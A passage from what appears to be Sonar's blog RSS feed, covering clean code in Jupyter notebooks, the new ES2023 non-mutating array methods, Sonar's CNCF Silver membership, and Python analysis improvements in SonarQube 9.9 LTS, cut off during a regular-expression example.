data modeling takes place, theories are tested and modifications commonplace, it makes sense that notebooks can be shelved for a time, and then revisited with new data, new thoughts, and new ideas. Notebooks may be shared with others, or code snippets posted to developer groups for comment iteration and collaboration. All of the above is made easier when the code style and its structure follow standard developer norms. Not only does a Clean Code approach make it easier for anyone to pick up a notebook and easily carry on where the previous creator left off, but it also ensures that code shared outside of notebooks into the wider developer community is accepted, and portable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A notebook with Clean Code facilitates onward sharing and ensures easy collaboration and future development.&lt;/p&gt;&lt;h3&gt;&lt;em&gt;It helps you grow as a Data Scientist and a coder&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;It is ok to not be a coder. But if you could learn as you code, it presents an opportunity for personal growth. Using a solution that offers to explain &amp;quot;the why&amp;quot; behind an error, and suggests remediation delivers that chance. Sure, there are times when speed is of the essence, and the quick fix to remediate the issue is just the ticket. But when the moment is right, the companion is ready to put on its teacher&amp;#x27;s hat and offer contextual learnings that deliver growth.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Plus, having confidence in your notebook and its quality, both in terms of being free from coding issues, as well as being readable and conforming to accepted norms helps you, the author, creator, and owner. It can only protect your reputation, and perhaps even enhance it, based upon the quality of your work.&lt;/p&gt;&lt;h2&gt;So how do I get started?&lt;/h2&gt;&lt;p&gt;We believe Clean Code should also be for Data Scientists and users of Jupyter notebooks. We also believe that all have the right to access the tools that deliver Clean Code. This is why at Sonar we are taking our first baby steps to offer a free, and open-source solution that will act as your Clean Code companion.  Downloadable from the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=SonarSource.sonarlint-vscode&quot;&gt;VS Code marketplace&lt;/a&gt;, SonarLint enables Data Scientists to both code and run the Jupyter notebooks within the IDE, acting as a code companion, and teacher, ensuring Clean Code.  You can find the official announcement &lt;a href=&quot;https://community.sonarsource.com/t/sonarlint-for-vs-code-3-16-analysis-of-python-in-jupyter-notebooks-and-go-language/87768&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By enabling all Jupyter notebook users to easily write Clean Code without slowing down development velocity, we aim to reduce the tension between the requirement for speed and the quality of the code. But we are not finished. We&amp;#x27;d love to hear from you about how we might improve and develop SonarLint further.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ES2023 introduces new array copying methods to JavaScript]]></title><description><![CDATA[There are new array methods in JavaScript and they are here to make our programs more predictable and maintainable.]]></description><link>https://www.sonarsource.com/blog/es2023-new-array-copying-methods-javascript</link><guid isPermaLink="false">32ee4a48-7377-5194-94dd-53cbfd485240</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 10 May 2023 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://tc39.es/ecma262/&quot;&gt;ECMAScript 2023 specification&lt;/a&gt; has been recently finalised. It includes some new methods on the Array object that will help make our JavaScript programs more predictable and maintainable. The methods &lt;code&gt;toSorted&lt;/code&gt;, &lt;code&gt;toReversed&lt;/code&gt;, &lt;code&gt;toSpliced&lt;/code&gt;, and &lt;code&gt;with&lt;/code&gt; allow you to perform operations on arrays by without changing the data in place, but by making a copy and changing that copy. Read on to learn the difference and how to start using them in your projects.&lt;/p&gt;&lt;h2&gt;Mutation and side effects&lt;/h2&gt;&lt;p&gt;The Array object has always had some oddities. Methods like &lt;code&gt;sort&lt;/code&gt;, &lt;code&gt;reverse&lt;/code&gt;, and &lt;code&gt;splice&lt;/code&gt; change the array in place. Other methods like &lt;code&gt;concat&lt;/code&gt;, &lt;code&gt;map&lt;/code&gt;, and &lt;code&gt;filter&lt;/code&gt; create a copy of the array and then operate on the copy. When you perform an operation on an object that mutates it, that is a side effect and can cause unexpected behaviour elsewhere in your system.&lt;/p&gt;&lt;p&gt;As an example, this is what happens when you reverse an array.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const reversed = languages.reverse();
console.log(reversed);
// =&gt; [ &apos;CoffeeScript&apos;, &apos;TypeScript&apos;, &apos;JavaScript&apos; ]
console.log(languages);
// =&gt; [ &apos;CoffeeScript&apos;, &apos;TypeScript&apos;, &apos;JavaScript&apos; ]
console.log(Object.is(languages, reversed));
// =&gt; true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, the original array was reversed and even though we assigned the result of reversing the array to a new variable, both variables simply point to the same array.&lt;/p&gt;&lt;h3&gt;Mutating arrays and React&lt;/h3&gt;&lt;p&gt;One of the best known issues with array methods that mutate the array is when you use them in a React component. You can&amp;#x27;t mutate an array and then try to set it as a new state because the array itself is the same object and this won&amp;#x27;t trigger a new render. Instead you need to copy the array first, then mutate the copy and set that as the new state. The React docs have a whole page explaining &lt;a href=&quot;https://react.dev/learn/updating-arrays-in-state&quot;&gt;how to update arrays in state&lt;/a&gt; because of this.&lt;/p&gt;&lt;h3&gt;Copy first, then mutate&lt;/h3&gt;&lt;p&gt;The way to work around this has been to copy the array first, then mutate it. There are several different ways to make a copy of an array, including: &lt;code&gt;Array.from&lt;/code&gt;, the spread operator, or calling the &lt;code&gt;slice&lt;/code&gt; function with no arguments.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const reversed = Array.from(languages).reverse();
// =&gt; [ &apos;CoffeeScript&apos;, &apos;TypeScript&apos;, &apos;JavaScript&apos; ]
console.log(languages);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, &apos;CoffeeScript&apos; ]
console.log(Object.is(languages, reversed));
// =&gt; false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&amp;#x27;s great that there is a workaround, but having to remember to perform one of the different copy methods first isn&amp;#x27;t great.&lt;/p&gt;&lt;h2&gt;New methods change by copy&lt;/h2&gt;&lt;p&gt;That&amp;#x27;s where the new methods come in. Each of &lt;code&gt;toSorted&lt;/code&gt;, &lt;code&gt;toReversed&lt;/code&gt;, &lt;code&gt;toSpliced&lt;/code&gt;, and &lt;code&gt;with&lt;/code&gt; copy the original array for you, change the copy and return it. It will make performing each of these actions easier to write as you only need to remember to call one function and easier to read as you don&amp;#x27;t need to parse one of four methods of copying an array first. So what do each of the methods do?&lt;/p&gt;&lt;h3&gt;&lt;code&gt;Array.prototype.toSorted&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toSorted&quot;&gt;&lt;code&gt;toSorted&lt;/code&gt; function&lt;/a&gt; returns a new, sorted array.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const sorted = languages.toSorted();
console.log(sorted);
// =&gt; [ &apos;CoffeeScript&apos;, &apos;JavaScript&apos;, &apos;TypeScript&apos; ]
console.log(languages);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, &apos;CoffeeScript&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;a href=&quot;https://philna.sh/blog/2019/08/26/how-not-to-sort-an-array-in-javascript/&quot;&gt;&lt;code&gt;sort&lt;/code&gt; function has some unexpected behaviour&lt;/a&gt; and aside from copying, &lt;code&gt;toSorted&lt;/code&gt; shares that behaviour. You still need to be careful if you are sorting numbers or strings with accented characters. Make sure you &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-2871&quot;&gt;provide a comparator function&lt;/a&gt; (like &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare&quot;&gt;&lt;code&gt;String&lt;/code&gt;&amp;#x27;s &lt;code&gt;localeCompare&lt;/code&gt;&lt;/a&gt;) that will produce the results you are looking for.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const numbers = [5, 3, 10, 7, 1];
const sorted = numbers.toSorted();
console.log(sorted);
// =&gt; [ 1, 10, 3, 5, 7 ]
const sortedCorrectly = numbers.toSorted((a, b) =&gt; a - b);
console.log(sortedCorrectly);
// =&gt; [ 1, 3, 5, 7, 10 ]&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;const strings = [&quot;abc&quot;, &quot;äbc&quot;, &quot;def&quot;];
const sorted = strings.toSorted();
console.log(sorted);
// =&gt; [ &apos;abc&apos;, &apos;def&apos;, &apos;äbc&apos; ]
const sortedCorrectly = strings.toSorted((a, b) =&gt; a.localeCompare(b));
console.log(sortedCorrectly);
// =&gt; [ &apos;abc&apos;, &apos;äbc&apos;, &apos;def&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;code&gt;Array.prototype.toReversed&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;Using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toReversed&quot;&gt;&lt;code&gt;toReversed&lt;/code&gt; function&lt;/a&gt; returns a new array sorted in the reverse order.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const reversed = languages.toReversed();
console.log(reversed);
// =&gt; [ &apos;CoffeeScript&apos;, &apos;TypeScript&apos;, &apos;JavaScript&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar has a rule that covers &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-4043&quot;&gt;misleading use of methods like &lt;code&gt;reverse&lt;/code&gt;&lt;/a&gt;. Assigning the result of &lt;code&gt;reverse&lt;/code&gt; to a new variable is misleading because the original array was mutated too. Now you can use &lt;code&gt;toReversed&lt;/code&gt; or &lt;code&gt;toSorted&lt;/code&gt; to copy the array and mutate the copy instead..&lt;/p&gt;&lt;h3&gt;&lt;code&gt;Array.prototype.toSpliced&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toSpliced&quot;&gt;&lt;code&gt;toSpliced&lt;/code&gt; function&lt;/a&gt; is a bit different to its original version &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice&quot;&gt;&lt;code&gt;splice&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;splice&lt;/code&gt; changes the existing array by deleting and adding elements at the provided index and returns an array containing the deleted elements from the array. &lt;code&gt;toSpliced&lt;/code&gt; returns a new array without the removed elements and including any added elements. Here&amp;#x27;s how it works:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const spliced = languages.toSpliced(2, 1, &quot;Dart&quot;, &quot;WebAssembly&quot;);
console.log(spliced);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, &apos;Dart&apos;, &apos;WebAssembly&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you are using &lt;code&gt;splice&lt;/code&gt; for its return value, then &lt;code&gt;toSpliced&lt;/code&gt; will not be a drop in replacement. If you want to know the deleted elements without altering the original array, then you should use the copying method &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice&quot;&gt;&lt;code&gt;slice&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Frustratingly, &lt;code&gt;splice&lt;/code&gt; takes different arguments to &lt;code&gt;slice&lt;/code&gt;. &lt;code&gt;splice&lt;/code&gt; takes an index and the number of elements after that index to remove and &lt;code&gt;slice&lt;/code&gt; takes two indexes, the start and the end. If you wanted to use &lt;code&gt;toSpliced&lt;/code&gt; in place of &lt;code&gt;splice&lt;/code&gt; but also get the elements that are deleted you could apply &lt;code&gt;toSpliced&lt;/code&gt; and &lt;code&gt;slice&lt;/code&gt; to the original array, like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const startDeletingAt = 2;
const deleteCount = 1;
const spliced = languages.toSpliced(startDeletingAt, deleteCount, &quot;Dart&quot;, &quot;WebAssembly&quot;);
const removed = languages.slice(startDeletingAt, startDeletingAt + deleteCount);
console.log(spliced);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, &apos;Dart&apos;, &apos;WebAssembly&apos; ]
console.log(removed);
// =&gt; [ &apos;CoffeeScript&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;code&gt;Array.prototype.with&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;with&lt;/code&gt; function is the copy equivalent of using square bracket notation to change one element of an array. So, instead of directly changing the array like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
languages[2] = &quot;WebAssembly&quot;;
console.log(languages);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, &apos;WebAssembly&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can copy the array and make the change&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;];
const updated = languages.with(2, &quot;WebAssembly&quot;);
console.log(updated);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, &apos;WebAssembly&apos; ]
console.log(languages);
// =&gt; [ &apos;JavaScript&apos;, &apos;TypeScript&apos;, CoffeeScript&apos; ]&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Not just arrays&lt;/h2&gt;&lt;p&gt;The regular array object isn&amp;#x27;t the only one benefitting from these new methods. You can also use &lt;code&gt;toSorted&lt;/code&gt;, &lt;code&gt;toReversed&lt;/code&gt;, and &lt;code&gt;with&lt;/code&gt; on any &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray&quot;&gt;&lt;code&gt;TypedArray&lt;/code&gt;&lt;/a&gt;. That is everything from &lt;code&gt;Int8Array&lt;/code&gt; to &lt;code&gt;BigUint64Array&lt;/code&gt;. &lt;code&gt;TypedArray&lt;/code&gt;s do not have a &lt;code&gt;splice&lt;/code&gt; method, so they are not getting a matching &lt;code&gt;toSpliced&lt;/code&gt; method.&lt;/p&gt;&lt;h2&gt;Caveats&lt;/h2&gt;&lt;p&gt;I mentioned at the top that methods like &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, and &lt;code&gt;concat&lt;/code&gt; already perform copying operations. There is a difference between those methods and the new copying methods though. If you extend the built in &lt;code&gt;Array&lt;/code&gt; object and use &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;flatMap&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, or &lt;code&gt;concat&lt;/code&gt; on an instance, it will return a new instance of the same type. If you extend an &lt;code&gt;Array&lt;/code&gt; and use &lt;code&gt;toSorted&lt;/code&gt;, &lt;code&gt;toReversed&lt;/code&gt;, &lt;code&gt;toSpliced&lt;/code&gt;, or &lt;code&gt;with&lt;/code&gt; the result will be a plain &lt;code&gt;Array&lt;/code&gt; again.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyArray extends Array {}
const languages = new MyArray(&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;);
const upcase = languages.map(language =&gt; language.toUpperCase());
console.log(upcase instanceof MyArray);
// =&gt; true
const reversed = languages.toReversed();
console.log(reversed instanceof MyArray);
// =&gt; false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can turn that back into your custom &lt;code&gt;Array&lt;/code&gt; with the use of &lt;code&gt;MyArray.from&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyArray extends Array {}
const languages = new MyArray(&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CoffeeScript&quot;);
const reversed = MyArray.from(languages.toReversed());
console.log(reversed instance of MyArray);
// =&gt; true&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Support&lt;/h2&gt;&lt;p&gt;While the ECMAScript 2023 spec is very new, there is already &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#browser_compatibility&quot;&gt;good support for these new array methods&lt;/a&gt;. Chrome 110, Safari 16.3, Node.js 20, and Deno 1.31 all support all four methods and there are &lt;a href=&quot;https://github.com/tc39/proposal-change-array-by-copy#implementations&quot;&gt;polyfills and shims available for platforms that don&amp;#x27;t yet have support&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;JavaScript keeps improving&lt;/h2&gt;&lt;p&gt;It&amp;#x27;s great to see additions like this to the ECMAScript standard that make it easier for us to write predictable code. There are a few other &lt;a href=&quot;https://github.com/tc39/proposals/blob/HEAD/finished-proposals.md&quot;&gt;proposals that made it into ES2023&lt;/a&gt; that you should check out if you&amp;#x27;re interested. Check out the whole &lt;a href=&quot;https://github.com/tc39/proposals&quot;&gt;TC39 proposals repository&lt;/a&gt; if you want to see what else is close to joining the spec.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CNCF Silver membership]]></title><description><![CDATA[Sonar becomes Silver member of the Cloud native computing foundation]]></description><link>https://www.sonarsource.com/blog/cncf-silver-membership</link><guid isPermaLink="false">527efab2-bdc5-5379-86d0-20c4219aeee4</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Thu, 04 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sonar has become a &lt;a href=&quot;https://www.cncf.io/about/members/&quot;&gt;Silver member of the Cloud Native Computing Foundation (CNCF)&lt;/a&gt;, helping to build and shape the future cloud-native ecosystem. The &lt;a href=&quot;https://www.cncf.io/&quot;&gt;CNCF&lt;/a&gt; is a Linux Foundation project that hosts a number of efforts and initiatives to serve the cloud-native community.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Being a Silver member of the CNCF is important for us as we maintain the open-source project &lt;a href=&quot;https://docs.sonarqube.org/latest/&quot;&gt;SonarQube&lt;/a&gt; and collaborate with the cloud-native community. CNCF is a community of more than 55,000 members and 156 projects supporting the evolution of the cloud-native ecosystem.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-source communities are a key pillar for projects to improve, to obtain constructive feedback from their users, and to establish transparency that will allow users to feel confident about their usage of them. And that&amp;#x27;s very important to Sonar in the definition of its products, ensuring the SonarQube community edition is completely free and open-source.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube provides confidence to the cloud-native developer analyzing popular cloud technologies like Docker, Kubernetes, CloudFormation, or Terraform, which ensures the infrastructure layer is as clean and secure as the source code.&lt;/p&gt;&lt;p&gt;Check this &lt;a href=&quot;https://www.sonarsource.com/blog/cloud-native-features-in-sonarqube-9-9-lts/&quot;&gt;link&lt;/a&gt; to discover more about the cloud-native capabilities of SonarQube.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why SonarQube 9.9 LTS is a must-have for Python developers]]></title><description><![CDATA[Learn about the changes in SonarQube 9.9 LTS that help Python developers write Clean Code.]]></description><link>https://www.sonarsource.com/blog/sonarqube-99-lts-python-developers</link><guid isPermaLink="false">4762f1a8-bcfe-56e0-ab11-be4aa5265ec7</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Thu, 04 May 2023 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 LTS&lt;/a&gt; sports a powerful Python analyzer, with 250 (okay, 249) rules for making sure that Python developers can write Clean Code that is fit for production and fit for development.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this LTS release, there are significant advancements in Python analysis compared to SonarQube 8.9 LTS. Grab a coffee and get comfortable as I walk you through these improvements!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using SonarCloud? You&amp;#x27;ll find all these improvements there as well.&lt;/p&gt;&lt;h2&gt;Updates to the analysis engine&lt;/h2&gt;&lt;h3&gt;Precomputed symbols from Typeshed boost performance and accuracy&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To provide accurate analysis, SonarQube relies on type information for the Python standard library as well as common libraries used by Python developers. This type information is provided by &lt;a href=&quot;https://github.com/python/typeshed&quot;&gt;Typeshed&lt;/a&gt; (a collection of Python stubs).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 8.9 LTS, this information was calculated at analysis time, which was expensive. It also wasn’t possible to collect all the information available, such as conditional type information based on the version of Python being used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS extracts far more data from Typeshed with better performance (calculating symbols once, shipped with SonarQube, not on each analysis), leading to an analysis with better performance and better results.&lt;/p&gt;&lt;h3&gt;Python version can be provided for more accurate analysis results&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As just mentioned, SonarQube can now take into consideration type information specific to the version of Python being used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Python 3 has many breaking changes compared to Python 2, which has an impact on our bug detection rules when some code pattern is a bug in Python 3 but not in Python 2!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers using SonarQube 9.9 LTS can now set the &lt;code&gt;sonar.python.version&lt;/code&gt; analysis parameter in order to detect issues specific to Python 2 or Python 3.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider this piece of code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def get_first(items):
    res = filter(lambda x: x &gt; 1, items)
    return res[0]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There&amp;#x27;s a problem here if you&amp;#x27;re using Python 3: The &lt;code&gt;filter&lt;/code&gt; API returns an iterator that does not have a &lt;code&gt;__getitem__&lt;/code&gt; method. This isn&amp;#x27;t a problem with Python 2, because the same API returns a list. This is an easy mistake to make if you&amp;#x27;re migrating your codebase to Python 3.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS, knowing the version of Python being used, can properly raise an issue on this code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/39dcc3dd-fe29-41cd-ad25-545f84cd5d40/Screenshot%202023-05-04%20at%2011.47.13.png&quot; /&gt;&lt;h3&gt;Support for Python 3.10 and 3.11&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Speaking of Python versions… a new SonarQube LTS means support for new versions of a language, which requires SonarQube to update how code is parsed and understood in the context of raising issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 9.9 LTS there is added support for Python 3.10 and 3.11, parsing new constructs like &lt;a href=&quot;https://docs.python.org/3/reference/compound_stmts.html#the-match-statement&quot;&gt;the many patterns of the &lt;code&gt;match&lt;/code&gt; statement&lt;/a&gt; and the&lt;a href=&quot;https://peps.python.org/pep-0654/&quot;&gt; &lt;code&gt;except*&lt;/code&gt; syntax&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This also means that existing rules have been updated to not raise false-positives on these constructs either.&lt;/p&gt;&lt;h3&gt;Vulnerability detection powered up with symbolic analysis&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarsource-acquires-rips-technologies/&quot;&gt;SonarSource acquired RIPS Technologies&lt;/a&gt; all the way back in May 2020 (there were a few other things happening in the world in Spring 2020, so don&amp;#x27;t worry if you forgot)!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only did we gain many great colleagues, but we also acquired their advanced technology for detecting vulnerabilities in Python. After months of work, we took the best of the Sonar &amp;amp; RIPS engines to produce a new security engine for Python. We actually replaced the engine entirely, moving from so-called fixed point analysis to symbolic analysis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means the security engine for Python is now field-sensitive, and commercial editions of SonarQube 9.9 LTS can precisely track which field of an object is tainted (or not) by malicious user input. For you, this means fewer false-positives so you can concentrate on fixing real vulnerabilities, not analyzing the fake ones.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Fixing false-positives&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the topic of false-positives, it wasn’t only security rules that saw improvements. Sonar puts in a significant amount of effort to make sure only true issues are raised, and our developers are always reviewing issues raised by Python rules to make sure they are accurate and relevant. They also receive reports &lt;a href=&quot;https://community.sonarsource.com/t/python-s1721-walrus-operator-parentheses-false-positive/62497&quot;&gt;from our community&lt;/a&gt; and through commercial support channels.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not counting all of the FPs fixed by updates to the analysis engine, there were &lt;strong&gt;31&lt;/strong&gt; specific false-positives our developers addressed in SonarQube 9.9 LTS!&lt;/p&gt;&lt;h2&gt;New Rules&lt;/h2&gt;&lt;h3&gt;Going back to basics&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sometimes it&amp;#x27;s easy to get so focused on the impressive new rules that, stepping back, we see there are some less complex (but still important) rules that need to be implemented!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;SonarQube 9.9 LTS brings nine of these rules that are commonly provided by other linters, such as &lt;a href=&quot;https://rules.sonarsource.com/python/RSPEC-1135&quot;&gt;tracking TODO tags &lt;/a&gt;and making sure &lt;a href=&quot;https://rules.sonarsource.com/python/RSPEC-1451&quot;&gt;copyright/license headers are included on each file.&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8eb6bafa-8ce5-4e4b-85f3-fd734e7c2e85/Screenshot%202023-05-04%20at%2010.47.13.png&quot; /&gt;&lt;p&gt;You can find the complete list of these rules &lt;a href=&quot;https://community.sonarsource.com/t/python-8-rules-to-reduce-the-complexity-of-your-regular-expressions-9-common-rules/61357&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Write clean and error-free regular expressions&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Regular expressions (regex) are sequences of symbols and characters expressing a string or pattern to be searched for within a longer piece of text. Regex is an incredible tool to express conditions that would otherwise require many lines of code to catch the same pattern.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While using regex is quite typical for developers these days, that does not make it easy to handle. Writing regexes is error-prone and time-consuming, and they&amp;#x27;re difficult to document well. Once they are written, identifying errors in them can be extremely difficult.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only are they difficult to write, but due to their size and complexity, they are often difficult to read and understand.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Take this example:&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;pattern = re.compile(
		r&apos;[a-z\:\//\.]+(youtube|youtu)\.(com|be)/(watch\?v=|embed/|.+\?v=)?([^&quot;&amp;?\s]{11})?&apos;
)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This regular expression is meant to match URLs like &lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;&gt;&lt;code&gt;https://www.youtu.be/watch?v=dQw4w9WgXcQ&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/embed/dQw4w9WgXcQ&quot;&gt;&lt;code&gt;https://www.youtube.com/embed/dQw4w9WgXcQ&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The third capturing group in this regular expression is &lt;code&gt;(watch\?v=|embed/|.+\?v=)?&lt;/code&gt; to account for variations in the URL format. You might not have noticed that the third alternative in this capturing group, &lt;code&gt;.+\?v=&lt;/code&gt;, is redundant, as it&amp;#x27;s already covered in the first alternative &lt;code&gt;watch\?v=&lt;/code&gt; and will never apply to &lt;code&gt;/embed/&lt;/code&gt; URLs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So this regular expression can be simplified by removing the redundant alternative group, giving us a slightly more readable:&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;pattern = re.compile(
		r&apos;[a-z\:\//\.]+(youtube|youtu)\.(com|be)/(watch\?v=|embed/)?([^&quot;&amp;?\s]{11})?&apos;
